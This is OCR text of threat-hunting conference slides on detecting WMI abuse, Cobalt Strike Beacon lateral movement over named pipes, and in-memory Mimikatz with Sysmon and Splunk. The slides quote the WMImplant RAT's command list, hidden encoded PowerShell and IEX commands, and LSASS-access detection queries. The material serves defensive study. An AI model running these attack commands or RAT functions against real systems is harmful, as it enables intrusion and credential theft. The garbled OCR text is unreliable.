+ Embedded backdoor files and PowerShell scripts in WMI repo
+ Used WMI to steal credentials from remote systems

+ Configured WMI to extract and execute backdoors months in the
future, to evade remediation

+ Attacker leveraged PowerShell
+ Stealthy backdoors
+ PowerShell scripts like Invoke-Mimikatz evaded A/V detection
+ Excellent WMI integration

+ Kerberos

+ Aftacker used Kerberos ticket attacks, which made tracking lateral
movement difficult

EANDIANT

Afiel o Corgurs Y Cooyign @ Faafyn, e MG seved

Investigation Matthew Dunwoody Nick Carr

THE FUTURE IS OURS

-

No Easy Breach: Challenges and
Lessons from an Epic Investigation

Matthew Dunwoody, Nick Carr

404 No Easy Breach Challenges and Lessons from an Epic
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= YUU Tube 2 Search

Challenge 4: Advanced

+ Windows Management Instrume
+ Aftacker used WMI to persist bal
+ Embedded backdoor files and P
+ Used WMI to steal credentials fi|

» Configured WMI to extract and {
future, to evade remediation

+ Attacker leveraged PowerShell
+ Stealthy backdoors
+ PowerShell scripts like Invoke-M

+ Excellent WMI integration
* Kerberos

+ Aftacker used Kerberos ticket af
movement difficult

FanoianT

ATl Corgurs

404 No Easy Breach Chal
Investigation Matthew Du

Challenge 4: Advanced Attack Techniques

+ Windows Management Instrumentation (WMI)
« Attacker used WMI to persist backdoors
« Embedded backdoor files and PowerShell scripts in WMI repo
« Used WMI to steal credentials from remote systems

« Configured WMI to extract and execute backdoors months in the
future, to evade remediation

 Attacker leveraged PowerShell
« Stealthy backdoors
« PowerShell scripts like Invoke-Mimikatz evaded A/V detection

« Excellent WMI integration
- Kerberos

« Attacker used Kerberos ticket attacks, which made tracking lateral
movement difficult

M AnDIANT

A FireEye” Company 21 Copyright @ FireEye, Inc. All rights reserved.

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 86




)
@ Fire Eye Products & Services Solutions Partners

WMImplant - A WMI Based Agentless
Post-Exploitation RAT Developed in
PowerShell

March 23, 2017 | by Christopher Truncer | Threat Research

Just over one year ago (November 2015), | released WMIOps, a PowerShell script that enables a user to carry out different actions
via Windows Management Instrumentation (WI) on the local machine or a remote machine. WMIOps can:

« Start or stop a process.

« Return a list of all running processes.

« Power off, reboot, or log users off the targeted system.
« Get a listing of all files within a directory.

« Read a file's contents.

« __and maore.

As | continued to develop WMIOps and use it during Mandiant Red Team Operations, | realized that it has some of the same
capabilities that are in Remote Access Tools (RATs). WMIOps's capabilities were in a state of disparate functions, but if | wove what

existed along with new functionality, | could create a RAT. After months of development and internal testing, I'm happy to publicly
release Whimplant.

Whdimplant leverages WMI for the command and control channel, the means for executing actions (gathering data, issuing
commands, etc.) on the targeted system, and data storage. It is designed to run both interactively and non-interactively. When using
Whlmplant interactively, it's designed to have a menu of commands reminiscent of Meterpreter, as shown in Figure 1.
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WMImplant

WMImplant is a PowerShell based tool that leverages WMI to both perform actions against targeted machines, but also as the
C2 channel for issuing commands and receiving results. WhImplant will likely require local administrator permissions on the
targeted machine.

Developed by @christruncer

WMImplant Functions:

Meta Functions

change_user - Change the context of the user you will execute WMI commands as

exit - Exits WMImplant

gen_cli - Generate the command line command to use WMImplant non-interactively
set_default - Sets the targeted system's WMI property back to its default value
help - View the list of commands and descriptions

File Operations

cat - Reads the contents of a file

download -  Download a file from the targeted machine

1s - File/Directory listing of a specific directory
search - Search for a file on a user-specified drive
upload - Upload a file to the targeted machine
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WMImpl

WMImplant is a H
C2 channel for isg
targeted maching

Developed by @

WMImpl

Meta Funct]

change_user
exit
gen_cli
set_default
help

File Operat

cat
download
1=
search
upload

command_exac
disable wdigest
disable_winrm
enable_wdigest
enable_winrm
registry mod
remote_posh
sched job
service _mod

Process Operations

process_kill
process_start

ps

System Operations

active users
basic_info

drive list
ifconfig

installed programs
logoff

reboot

power off
vacant_system

Lateral Movement Facilitation

Run a command line command and receive the output

Removes registry value UselLogonCredential

Disables WinRM on the targeted system

Adds registry value UselogonCredential

Enables WinRM on the targeted system

Modify the registry on the targeted machine

Run a PowerShell script on a remote machine and receive the output
Manipulate scheduled jobs

Create, delete, or modify system services

Kill a process via name or process id on the targeted machine
Start a process on the targeted machine
Process listing

List domain users with active processes on the targeted system
Used to enumerate basic metadata about the targeted system

List local and network drives

Receive IP info from MICs with active network connections
Receive a list of the installed programs on the targeted machine
Log users off the targeted machine

Reboot the targeted machine

Power off the targeted machine

Determine if a user is away from the system
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Testing «command_exec» using WMImplant with PS-ISE

Command =>: command_exec

what system are you targeting? =>: I
Please provide the command wou'd Tike to run >: ipconfig /all

Windows IP Configuration

Host Name . .

Primary Dns Suffix

Node Twype . .

IP Routing Enabled.

WINS Proxy Enabled.

DN5 suffix search List. . . . .

Command =: command_exec
wWhat swstem are wou targeting? =: I

Please provide the command vou'd like to run =: systeminfo
Host Name:

05 MName:

05 Version:

05 Manufacturer:
05 Configuration:
05 Build Type:

Microsoft Windows 7 Enterprise
6.1.7601 Service Pack 1 Build 7601
Microsoft Corporation

Member Workstation

Multiprocessor Free

=1 0| wininit. exe [EE0]
=l B services.exe [764]
=1 B swchozt exe (588
:Efﬁ wmiprvse. exe [B92]
= f&' wmipryze. exe [2248)
+ L4 powershel. exe [3040]

- systeminfo. exe [BE00]
:Efﬁ wrnipryse, exe [732)

280327171631 nfa
280327171637 nfa
2803271716528 nfa
28.03201717183:38 nfa
2803 2M7 172040 nfa
I
2903207181304 29.03.2007 18:13:07  powershell $env:59HY pllny oke-Ex pression
29.03.200171813056 29032007 131306 "C:hwindowsssyztem32hipoonfig exe'’ Aall
29032017 131336 29022017 181542 powershell [E" $env:0BIS3
2032007181336 29.03.207 1831547 "C:hwindowsepstem32hevsteminfo. exe"’

28.03.200717:20:40 nda C:Wwindowshapstem32whemswmipryze. exe

wWininik, exe

C:Awindowshaystem 32\ sevices. exe
C:Wwindowshapstem 32\ evchost. exe -k Doomblaunch
Cowindowshapstem 32 wbem swwmipryae. exe
C:Awindowshapstem 32 wwbemswmipryze. exe
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Testing «process_start» using WMImplant with Beacon

[*] Tasked heacon to run

[+] received output

beacon> powershell-import C:\
[*] Tasked heacon to impoxrt
[+] host called home, sent

[+] host called home, sent

WMImplant-mastexr\WMImplant .psl

C I 1 Tmpl ant -master \WMImplant . psl
267752 bytes

beacon> powershell Invoke-WMImplant -ProcessStart -RemoteFile cale.exe -Target [N
Invoke-WMImplant -ProcessStart -RemoteFile calc.exe -Target [N
86 bytes

=1 B wininit.exe [660)
=1 B services.exe [764)
=1 B svchost exe (388
=4 wniprese. exe [692)

wWniprvse, exe [2243)

| notepad.exe [3100)

28,0527 17:16:31
28032007 1716:37
28.05.2017 17:16:58
28.03.201717:18:38
28.04.2017 17:20:40
29.05.2017 17:24:52

h'a
n'a
n'a
n'a

néa

wininit. exe

C:hwindowsspstem32hzervices exe
C:hwindowsapztem32yevchost exe -k D combLaunch
C:Wwindowshapstern32wbem'swmiprese, exe
W i s tema2mbemswmiprese. exe

hiotepad. exe

J calc.exe [7628) 29.03.2M7 172508 nfa calc.exe
WMIPrvEe, exe [?32] 28032007 17.20:40 nda Ii:H"-.-'-.I"inl:lnws"-.systemEE'\whem'\wmiprvse.e:-ce
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CAR-2014-12-001: Remotely Launched Executables via WMI

Adversaries can use Windows lManagement Instrumentation (W) to move
laterally by launching executables remotely. For adversaries to achieve this,
they must open a WhI connection to a remote host. This RPC activity is
currently detected by CAR-2014-11-007: Remote Windows Management
Instrumentation (WhMI) over RPC. After the WMI connection has been initialized,
a process can be remotely launched using the command: wmic /node:”
<hostname>" process call create "<command line:" | which is detected
via CAR-2016-03-002: Create Remote Process via WMIC.

This leaves artifacts at both a network (RPC) and process (command line) level.

CAR-2014-12-001

Submission Date
Information Domain
Host Subtypes
Network Subtypes
Network Protocols
Type

Contributor

12/02/2014

Host, Metwark
Metwork, Process
FCAFP

RPC

TTP

MITRE

When wmic.exe (or the schtasks API) is used to remotely create processes, Windows uses RPC (135/cp) to communicate

with the the remote machine.

After RPC authenticates, the RPC endpoint mapper opens a high port connection, through which the schtasks Remote
Procedure Call is actually implemented. With the right packet decoders, or by looking for certain byte streams in raw data,

these functions can be identified.

When the command line is executed, it has the parent process of C:‘\windows\system32\wbem\WmiPrvSE.exe . This
analytic looks for these two events happening in sequence, so that the network connection and target process are output.
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Output Description

Identifies the process that initiated the RPC request (such as wmic.exe or powershell.exe ), as well as the source and
destination information of the network connection that triggered the alert.

ATTE&CK Detection

TEt:hnique + | Tactics ¢ | Level of CDV‘EHQ‘E ]
Windows Management Instrumentation | Execution High
Pseudocode

Look for instances of the WMI querying in network traffic, and find the cases where a process is launched immediately after a
connection is seen. This essentially merges the request to start a remote process via WMI with the process execution. If
other processes are spawned from wmiprvse.exe in this time frame, it is possible for race conditions to occur, and the

wrong process may be merged. If this is the case, it may be useful to look deeper into the network traffic to see if the desired
command can be extracted.

processes = search Process:Create
wmi_children = filter processes where (parent_exe == "wmiprvse.exe")

flows = search Flow:Message
wmi_flow = filter flows where (src_port »= 49152 and dest_port »= 49152 and
proto_info.rpc_interface == "IRemUnknown2")

remote_wmi_process = join wmi_children, wmi_flow where (
wmi_flow.time ¢ wmi_children.time < wmi_flow.time + 1sec and
wmi_flow.hostname == wmi_children.hostname

)

output remote wmi process
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* Searching for Child-Process creations of «wmiprvse.exe»

* Filtering out «known good» processes

index SourceMame="Microsoft-Windows -Sysmon"” ProcessCreate wmiprvse. exe
| search EwventCode="1" ParentImage="*\‘wmiprwse.exe" |

HOT (Image="*%‘powershell, exe"

CommandLine="*'"\Windows " \CCMAA*" OF Commandline="*‘“‘\Microsoft Application Virtualizationi\*" OR
CommandLine="*DynamicDeploymentConfiguration®" 0R CommandlLine=" )

MOT (Image="*\‘Microsoft.NET%\Framework*" CommandLine="+Y i*”)

Image!="*'\——h'*" Imagel="+*"\WerFault. exe" NOT JHOT powercfg.exe NOT msiexec.exe MOT [}

MOT | FWOT sidebar.exe WOT csc.exe WOT cwtres.exe WOT attrib.exe

CommandLinel="#%4%}Y | S
e
CommandLine!l="*cmd.exe /c copy *" CommandLine!="*\\[__———_J4'*" CommandlLine!="*%%Adobe’'*" CommandlLine!="#*'\[_——Jy\*"
CommandLine!="*%"‘\Windows'hccm*" CommandLine!="*%\Windows"''M5'%*" CommandLine!="*%\Windows ' ‘Installeri4*"
| rex field=Message ".*User: (C__JINT AUTHORITY )W4W4h(?<USERT=>. *)"
| stats walues(ComputerMame) AS Clients walues{USER1) AS Users walues({CommandLine) AS Cmdlines count by Image

« Don’t filter out «<Powershell.exe» in general

— Combine with «CommandLine» params
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i

#+ Command executions («powershell *$env:*» and IEX, obfusc.)

* Processes started (calc.exe, notepad.exe....)

Image &
CAWIndows\System32\FPING.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell exe

C\Windows\System32\calc.exe

C:AWindows\System32\cmd.exe

CAWindows\System32\notepad.exe

CAWindows\System32\whoami.exe

Clients
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ping -n 3

powershell Senv:59HYp|inv oke-Ex pression

powershell Senv:hpMgz|IE X

powershell .(Get-C ommand ({1}e{0}-fx'1)) Senv.dswOF
powershell IE X Senv:06.J59

powershell IE X Senv.wDBaP

powershell_exe -nop -w hidden -encodedcommand
JABzADOATgBIAHCALOBPAGIAagBIAGMAJAAQAEKATWA
powershell.exe -nop -w hidden -encodedcommand
JABzZADOATQEBIAHCALOBPAGIAagBIAGMAdAAQAEKATWA

calc.exe

cmd fc hostname
cmd fc net user

notepad.exe

whoami
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Also detecting CS Beacons WMI Lateral Movement method

«powershell.exe ... -encodedcommand ...»

Image Clients Users
C\Windows\System32WPING.EXE |
CVW ystem32WWindows hell\vwi1.0\powershell exe _ - - |

beacon= wmi NG
[*]1 Tasked bheacon to run windowsfbeacon smb/bind pipe (I \pipe\APT999 4444) on I via WMI

[+] host called home, sent: 210806 bhytes
[+] established link to child heacon: I

received output

powershell_exe -nop -w hidden -encodedcommand
C:AWindows\System32\calc.exe JABzADDATgBIAHCALQBPAGIAagBIAGMADAAQAEKATWA
J - -
C:\Windows\System32\cmd.exe powershell_exe -nop -w hidden -encodedcommand
i —_ Y AT 1 ~ Ao A A oA R nOA Fo Teaa
JABZADOATgBIAHCALQBPAGIAagBIAGMAdAAQAEKATWY
|"""-_'..'."'-' ey Syeto I Mmnotenard eve
ChWindows\System32\notepad. exe cale exe
CAWIndows\System32\whoami.exe
cmd /c hostname
cmd /C net use
otepad.exe
whoami

LI
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Internal P2P C2 using Named Pipes

T E—

* Internal Peer-to-Peer C&C using Named Pipes over SMB

* Using Cobalt Strike Beacon’s features for testing
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Only one egress point

using HTTP as C&C PE)
Conn thru web proxy ;m;,,'.

SYSTEH *

- F JOSHDEV @ 1728 m
""" J N I' g DISCONNECTED,

whatta.hoqu » c"“” /W SYSTEM *

WS2 @ 225 SYSTEM * JOSHDEV @ 120

- By , :
’ ~5 FILESERVER @ 91BISCONNECTED
SYSTEM * ‘
CEOSBOX @ 3344 mll s
Jn
i S G N W
SMB traffic s+

between WS

Named Pipes C&C Figure 12. Cobalt Strike Graph View

An orange arrow connecting one Beacon session to another represents a link between two
Beacons. Cobalt Strike’s Beacon useerindows named pipes lto control Beacons in this
peer-to-peer fashion. A named pipe is an inter-process communication mechanism on
WindowsNamed pipe traffic that goes host-to-host is encapsulated within the SMB
protocol.|A red arrow indicates that a Beacon link is broken.

L
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* Search for Processes

— Connecting through Web Proxy and
— Creating Named Pipes

index=|:sourcetype="NinEventLog: Microsoft-wWindows-Sysmon/Operational”
(ProcessCreate OR (MetworkConnect 3128 (C Proxy IPs ))) OR (PipeEwvent "Pipe Created"))

[ whitelisting vetted good processes ]

| search EwentCode=1 0OR EwentCode=17 OR

(EventCode=3 DestinationPort="3128" (DestinationIp=“( Proxy IFPs

| stats dci{TaskCategory) AS Cnt_TaskCat dciEventCode) AS Cnt_EventCode walues({TaskCategory) A% TaskCategory
wvalues(Image) AS Image waluesi{Hashes) AS Hashes walues(PipeMame) AS PipeName wvaluesiDestinationIp) AS DestinationIp
count by ComputerMame ProcessGuid

| where Cnt_TaskCat »= 2 0R Cnt_EwventCode »= 2

| rex field=Hashes ".*MD5=(7<MD5=[A-FO0-9]1*%),IMPHASH=(?=IMPHASH=>[A-FO-9]* )"

| stats walues{ComputerName} A% Clients walues({Image) A- Image walues({MDS) A5 MDS wvalues({PipeName) AS PipeMame
count by IMPHASH

| search PipeMame=""%4*"
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IMFPHASH
17B461 A032550F CE6332]

E0z2D20cEGB32155B10H
DC2EEETVEEZEF 4D 36F A

E47{BEC3IZEBZ092220C)

EFSA44FEZFIAD4ABRS

FOF47A9TOBADEBZ55FE

FCCDAE9T5D9C361 ATF

Image

[ fhitp-beacon_windows-exe_xbd.exe

I:'httpbeamn_windcws-service-exe_xﬁdt.exe
'httpbeacan_windws-exe_xaﬁ.exe

W1ZT.0.0.1ADMING 949270 exe
W00 1ADMING29basTI exe
W12F.0.0.1ADMINSIhc0daC exe
WIZT.0.01NC298a%4a exe
W27 001N 380ab42 exe

CAWIndow 3\ Sy sWOWedirundll 32 exe

CAWindow s3System32rundll32.exe

CMWIndow s\Systemn32vnotepad.exe
CAWindow s\system3Zinotepad.exe

MD5
D7ZEESTE9ZTAQIEDIECT

EEOD0AT2DEASB2E4DSFDF
5308AFEEGFETO0CYEEE0T

JBFETF4ATIETCOET 10925
A eD0ETASTEFBATEAFSS
ACICHATZARAEAETET 7250
COV1BE96001 CYET1ADTESEY
ESDQ2250205E1 ADSEZ G

B1138BEEAZEZCZTECAAD

DDE1D9FF3B07E3C3924]

BI2189BDFFEERTTATLEA

FipeMName &

=Ananymous Fipes
WWSSE-BR3-zerver

WASSE-S000-server

=Anonymous Fipes
YSSE-107-server

WWSSE-2426-server
WASSE-B324-server
WASSE-T891-server
WASSE-8355-gerver
WASSE-8T98-server

<Anonymous Pipes

YWAFTEoE 3362
WAFTI99_ 4444
CWAFT939_77 7T

msagent_8352
Ystatus_4444

=Ananymous Fipes
h3ceadebags
‘ddlab2ciida
bEI0cI83bE
WdehJache3d

=Anonymous Fipes=
W0d23318a7
W321aacl 42
10202051
310568cd7e
Y233dezald
W411e801033
n45340d7 2T

count

&
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IMPHASH — o —
[seT AR | fhitp-beacon_windows-exe_xbd.exe DV2EERTEQZTAQIEDIGCY flpf:‘ljiem i A Sosll ) A
"] Image FipeMame s
e | jrittp-beacon_windows-exe_x64.exe | <Anonymous Fipes
WSSE-583-server
. phttp-beacon_windows-service-exe_xbd.exe WSSE-B000-zerver
'htt[}I::eacnn_windcws-exe_xﬂﬁ.exe <Anonymous Fipe=
WSSE-107-server
FEF47AQTOIBADE i L
CAMWIndow s\ Sy sWOWad\ rundll32 exe <Anonymous Pipes  Fipe 5
WAFTBDE_ 83562
FCCDEEST1 5033 1'-,."1'LF'T'5|'5|'5|_4444
WAFTO99_ 7777 Fipe> 7
wmsagent_g 36
Wstatus_4444
d11e201033
MA534B07TET
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* Search for Processes creating «known malicious» Named Pipes

— with or without «default PipeNames»

index= sourcetype="winkEventlog: Microsoft-Windows->ysmon/Operational”

(PipeEvent "Pipe Created" (APTGGG OR APT999))
| search (EventCode=17
(PipeMame="%'\APT&e6*" OR PipeMame="%“APT999%" )

| =tats wvalues({Image) AS Images walues(PipeName) A% PipeMames
count by TaskCategory ComputerMame

index= sourcetype="wWinkventlog:Microsoft-wWindows-Sysmon/QOperational”

(PipeEvent "Fipe Created” (APToeo OR APT99% OR msagent OR status OR M35E))
| search (EwentCode=17

(PipeMName="44APTEoE*" OR PipeMame="‘‘APT99%9+" OR

PipeName="4\M25E-*-cserver*"” (R PipeName="‘‘msagent_*" OR PipeName="‘‘status_*"))
| =tats walues(Image) AS Images walues(PipeMame) A% PipeNames
count by TaskCategory Computerlame
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* Searching for «custom PipeNames» only

TaskCategory S ComputerMame

Fipe Created (rule: FipeEvent) | |

Fipe Created (rule: FipeEvent) | b

4
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Images FipeMames = EEUNIEE
CAWIndow S35y sWOWGrundll32.exe VAPT6B6_B8362 &
VAFT399_4444
VAPTO99_7777
CAWIndow s\ Sy sWOWedrundll32 exe WAPT 6BE_B362 Z
WAFTI99_4444
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i

* Searching for «default & custom PipeNames»

TaskCategory # | Computerdame # | Images #| PipeMames = £ count 5

Pipe Created irule: FipeEvent) [__————7} Chwindow Sy sWowenrundll3z.exe WAPT 6B6_5362 9
W 2700 1ADMINSGYT 949270 exe WAPTI99_4444
WIZ7.0.0.1ADMINSIbC 0d50 exe WAFTI99 7777
W27.0.0.1N\C5\298a94a. exe WASSE-2426-server

WWSSE-5324-server
WASSE-B355-server

Fipe Created (rule: FipeEvent) : Csers\T_——JhAppDataiR oaming\Microsoftiwindows\Start MenuProgramshStartupiGoogleChromePortable.exe | WAPT 666 8362 7
CAWIndow s\Sy sSWOWESrundll32 exe WAPTI99_4444
W 2700 DADMINS 29bal7d exe WSSE-6684-server
W 27.0.0.1NC8380abd2 exe WASSE-TE91-server

WWSSE-5798-server
Ymsagent_8362
Wstatus_4444

Fipe Created (rule: FipeEvent) ' (o3 ttp-beacon_windows-exe_x6d.exe WWSSE-107-server 4
0:1 ttp-beacon_windows-exe_x86.exe WSSE-192-server
C ttp-beacon_windows-service-exe_x6d.exe WASS5E-583-server
Chillsers pplataif camingiMicrosoftyWindows\start Menu\FrogramshstartupiGoogleChromeFortable.exe | \WSSE-8000-server
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i

* Searching for «default & custom PipeNames»

TaskCategory # | Computerdame # | Images 4| PipeMames © £ count 5
Pipe Created irule: FipeEvent) [__————7} Chwindow Sy sWowenrundll3z.exe WAPT 6B6_5362 9
WIZT.0.01VWADMINSY 949870 exe VAPT 9994444
W1 27.0.0.1VADMINS\3be 0d5 e exe VAPT999_T777

Images # | PipeNames © S| count 5 &

CAWIndow s\ Sy sWOWESrundll32 exe WAPTGE6_83562 9

WWZ7.0.0.1ADMINSV 94937 0.exe AT 399 4444

WIZF 0.0 1ADMINS3bcOdSe exe WAFTO99_777T

WI27.0.0.1CE 2988948 exe WSSE-2426-server
WWSSE-5324-server
WWESE-8355-server

Chllsers ppData'\RoamingWMWicrosoft\Windows\Start MenuProgramshStartuph Google ChromePortable exe | WAFT 666_8362 7

CAWIndows\Sy sIWOWeSrundll32 exe WAPTI99_4444

H W127.0.0.10ADMINS\29ba 879 exe YWSSE-GGE4-server

W127.0.0.1VCE380ab42 exe WMSSE-T891-server
WWSSE-B798-5erver
Wmsagent_8362
Wetatus_4444

[y ttp-beacon_windows-exe_x5d.exe WASSE-107-server 4

i ttp-beacon_windows-exe_x86.exe WASSE-192-5erver

i ttp-beacon_windows-service-exe_x5d.exe WASSE-B83-server

Chllsers ppDataifA ocamingWWicrosoftywWindow s\ Start MenuvProgramsiStartupyGoogle ChromePortable. exe | WSSE-8000-server
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Detecting Mimikatz (even file-less)

T E—

* Detecting ProcessAccess on LSASS.exe

# ldea by Mark Russinovich (RSA talk)
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Cyber Wardog Lab

by Roberto Rodriguez

Wednesday, March 22, 2017

Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon

and ELK - Part || (Event ID 10)
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Cyhar \Wardnn | ah

What happened with this?

Mark Russinovich - Follow

a@markrussinovich

You can detect Mimikatz stealing passwords by

Wednesday

Chron configuring Sysmon to watch Lsass.exe for
and El process access:

Generzl  Details

Frocess accessed

UtcTime 2017 02 13 04:27:33.700

Scurcef rocessGUID: [805F23d%- 35625827 -0000-001005c 6300}

ScurceFrocessid: 2220

source Threadid: 394

scurtdmage Cldemo\mmiketz.exe

Targ# ProcessGUID: {68923d%-¢575- 33a0-0000-0010c 5350000]

TergeiProces o 344

Targerimage: C:\Windows\systemi? lac.eve

SrantedAccess 21410

CallTrace: CAWindows\SYSTEM32\nrdll. 1+ 25594 T\ Windows\system 3I2\XERMEL BASE dil+ 1 8365 C:\ demo'\mim catz exe+
365e2 C\demo \mimikatz. exz+ 5234d| T\ demo\mimicatz gee+ 8652 1O\ demo\ mimikatz exe+ 49da2 Cdemo\mimilatz e+
A0be7] C\demo\mimikatz. o 409d1|Chdemo\mimikotz.oe « SbcsS|T\Windows\system 32\KERNELS2Z.DLL  18702|C:
\Wincows\SYSTEM3Z\ntdll.dil+ 5cSbd

Figure 15. Outdated Mimikatz Yersion

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 108



Cyhnr \Wardnn | ah

What happened with this?

Final Thoughts

Once again, even though this is just part Il of detecting In-memory Mimikatz, we are already coming up with another good indicator
HOMNCRIS to reduce the number of false positives when hunting for it.
Chron| . : "

Based on our test today, we can say that if we want to detect the latest version of Mimikatz frorm a Processfccess event
and El perspective, we should look for:

GrantedAccess: 0=21010

Mow, if we still want to detect the current Invoke-Mimikatz versions used in projects such as PowerSploit and PowerShell Empire.
Wiz should alsao ook far:

GrantedAccess: 0=21410

Howewver, when looking for 021410, there is a little bit more of tuning that needs to happen to filter all the noise. You will have to add
extra exclusion rules to your Sysmon config. Also, | would suggest to look at the pattern of the Trace Call field [Stack) in your
Sysmon EID 10 logs. As you can see in figure 23 below, In-Mermory Mimikatz always has the same CallTrace pattern. Remermber
that Sysmaon only shows the module used and the ofset addresses. However, you can use either Process Monitor or Process
Explarer to configure a public Microsoft Symbol Semver and show you a better call stack with all the function names. You can learn
iy . This Call Trace pattern could be useful with the right Regex to filter out all the naise (having some issues with Lucene
regex in kibana).
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* Search for ProcessAccess of LSASS.exe

— GrantedAccess of: 0x1010, 0x1410, 0x143A
— (CallTrace: KERNELBASE .d1l1l and (ntdll.dll or UNKNOWN)

indexs ] sourcetype="WinEventlog: Wicrosoft-Windows -Sysmon/Operational” ProcessAccess lsass. exe

| search TargetImage="*%%lsass. exe"

(iGrantediccess="0x1010" OR GrantedAccess="0x1410" 0OR GrantediAccess="0x143a")
(CallTrace="*KERMELBASE .dll*" CallTrace="*UNKNOWN*") OR
(CallTrace="#*4'ntdll. dll+dbf9a*" CallTrace="*"\KERWELBASE.d11+189hb7T*" 1]

CallTracel="*\fpb.tmp*" CallTracel="*\\Winb4RunProcesses. dl1*" CallTracel="*Y\System.ni.dll*" CallTracel="*%\m=si. dll*"

CallTracel="%*

CallTracel="*

CallTracel="*

| rex field=CallTrace ".*%WWhntdll dll%+(7P<NTDLL=[0-%a-fA-F]*3%] ="

| rex field=CallTrace ".*®\WWAKERNELBASE. dll+(Y<KRNLB=[0-%a-fA-FI*a[%] 401 *"

| eval CallTrace? = replace({CallTrace, "%, " ") | eval CTlLen = len(CallTrace)
[ | where CTlen = 90

I

I

I

rename SourceProcessIld as srcPID | rename Grantediccess as Granthcc
tahle _time ComputerMame SourceProcessGUID =rcPID Sourcelmage TargetImage GranthAcc WTDLL KRNLE CTlLen CallTraced

SOrt _time
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* Mimikatz executable from Github

i

— File-based = No «UNKNOWN» from shellcode [ injection

g & &
_time Computerfame SourceProcessGUID srcPID Sourcelmage &
2017-03-1016:19:36 | | {470B9880-C408-58C2- 720 cA I mimikatz_trunkxe4imimikatz exe
0000-0010E3F 44529}
' e s g =7
Targetlmage S GrantAcc NTOLL KR HMLE CTLen CallTracez
CAMWindows\systernisassexe 010710 4bfda 18967 B3b | ChWindows\SYSTEMIZWntdlldll+4bfda
Chwindow shsystern 3 AKERNELBASE dll+1 8967
cy wmimikatz_trunkixedimimikatz.exe+66918
Y wmimikatz_trunkixedymimikatz exe+66c8h
Y smimikatz_trunkhzedsmimikatz exe+ 658 3d
oy wmimikatz_trunkZedmimikatz exe+49dac
oy wmimikatz_trunktgedmimikatz exe+49beb
oy wmimikatz_trunkgedmimikatz exe+49943
oy wrimikatz_trunihgedimimikatz exe+6bfas

Chwindowshsystern3Dkernel32.d11+159¢d
COWINdow sASY STEM 3 Zyntdlldll+2a5831
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-
* Cobalt Strike Beacon’s built-in Mimikatz «logonpasswords»

— File-less =2 «UNKNOWN» from shellcode / injection

& Fy
_time Computertdame SourceFrocessGUID & | srchID Sourcelmage Fy
2017-03-08 147 3:07 [4F0B9380-03563-58C0-0000- 8788 CA\Windows\system3ZDrundll3Z exe
0010E8DTD210}
2017-03-08 22:34:42 [4F0B9880-73F1-58C0-0000- 3736 CAWWindowsisystem3Drundll3Z exe
001048326C1 4}
' — & & &
Targetimage < | GrantAcc NTDOLL KRMNLE CTLen CallTrace2
CAWindow sisystemn3lsass.exe  0x1410 4bfla 189b7 102 | CAWWindows\SY STEMIZ\ntdll dll+4bfaa
CAWindow sisystem32KERMNELBASE dll+18907
UNKNOWN{0000000000277120)
CAWindow sisystermn3lsass.exe 01410 4bfla 189b7 102 | CAWWindows\SY STEMIZ\ntdll dll+4bfaa
CAWindowsisystem3KERNELEASE. dll+18967
UNKNOWN{00000000004071 20)
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-
* Invoke-Mimikatz using PowerPick from Cobalt Strike’s Beacon

— File-less =2 «UNKNOWN» from shellcode / injection

& & &
_time ComputerMName SourceFrocessGUID srcFID Sourcelmage
2017-03-08 13:25:23 [3E4BIDDF-Fa1A- 22832 CWWindow s \System32irundll3Zexe
EBF-0000-
001003659552}
2017-03-08 13:29:03 {05B995F9-FI09-58BF- 7948 Chwindowshsystem3Zwsmprovhost.exe
0000-0010837C9ED3)
i - & & &
Targetimage # | GrantAcc NTOLL KRMLE CTLen CallTrace2
ClWWindows\systern 32\ sassexe  0x143a 4bf3a 18967 102 | CuWindow 2 \SY STEM3ZAntdllLdll+4bf3a
Chwindow s\systemI2KERNELBASE dll+189b7
UNKMOWNID00000001ADE 628)
CAWindows\systern32ilsass.exe  0x143a 4bf9a 18967 102 | Chwindow siSY STEM3Z2Antdlldll+4bfda
CAWindow s\systemI2KERNELBASE dll+189b7
UNKNOWHI000000001 AG31628)
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* Don’t search for specific Sourcelmage names

— e.g. Rundll32.exe - it could be really anything! (even cmd.exe ©)

Ewvent 10, Swsmon

General | Detajls

Process accessed;

UtcTime: 2017-03-29 15:59:45.740

mourceProcessGUID: {470b9880-d9f1-58db-0000-00100ce5730a}
sourceProcessId: 8772

E_g,;..,,:“Ih;“.-lm. e

mourcelmage: COMYIndowshsysterm32homd, exe

FargqetProcessaJIcn -14.'ur:|5::=::=u-.'e:u.'-:utiua-uuuu-tlllﬂzlﬁeﬂlﬂﬂ}
TargetProcessId: 77l

TargetIrmage: CAMYIndowshsysterm32h sass.exe
Grantedfccess: 0:1010

CallTrace: C:Yindouwes\ SYSTEM IS ntd]Ldll + dbfAa| Y Wind owesh system I KERNELBASE. A1+ 189k 7| U
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| @ Secure | https://blog.3or.de/hunting-mimikatz-with-sysmon-monitoring-openprocess.html

3A 29 APRIL 2017

Hunting mimikatz with sysmon: monitoring
OpenProcess()

Kategorien: « Threat Hunting» Ersteller: dimi

Update: Since this post is getting some international attention | want to use the
chance: If you are into Threat Hunting and interested in collaboration: Contact me and
consider working on the ThreatHunter-Playbook! ;) /IUpdate

Dimitrios Slamaris
The art of hunting mimikatz with sysmons EventlD 10 got already published by dimO0x69
@cyb3rwardOg in his great blog: Chronicles of a Threat Hunter: Hunting for In-
Memory Mimikatz with Sysmon and ELK - Part Il (Event ‘
the ThreatHunter Playbook which is a great collection of W A
use to hunt intruders in your network. | will shortly set up a =
playbook, maybe my findings are interesting for the commu

From there | today invested some time to analyze mimikatz
OpenFrocess() and therefore some more indicators to hunt
first created a caller graph for OpenProcess() using the whe
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| @ Secure | https://blog.3or.de/hunting-mimikatz-with-sysmon-monitoring-openprocess.html

3A 29 APRIL 2017

Hunting mimikatz with sysmon: monitoring
OpenProcess()

Kategorien: « Threat Hunting» Ersteller: dimi

Update: Since this post is getting some international attention | want to use the
chance: If you are into Threat Hunting and interested in collaboration: Contact me and

destination
process /
destination
service

ACCESS_MASK

module OpenProcess caller function
translated

ACCESS_MASK

PROCESS_WVM_READ |
PROCESS_VM_WRITE |
PROCESS_VM_OPERATION |
PROCESS_QUERY_INFORMATION
PROCESS_VM_READ |
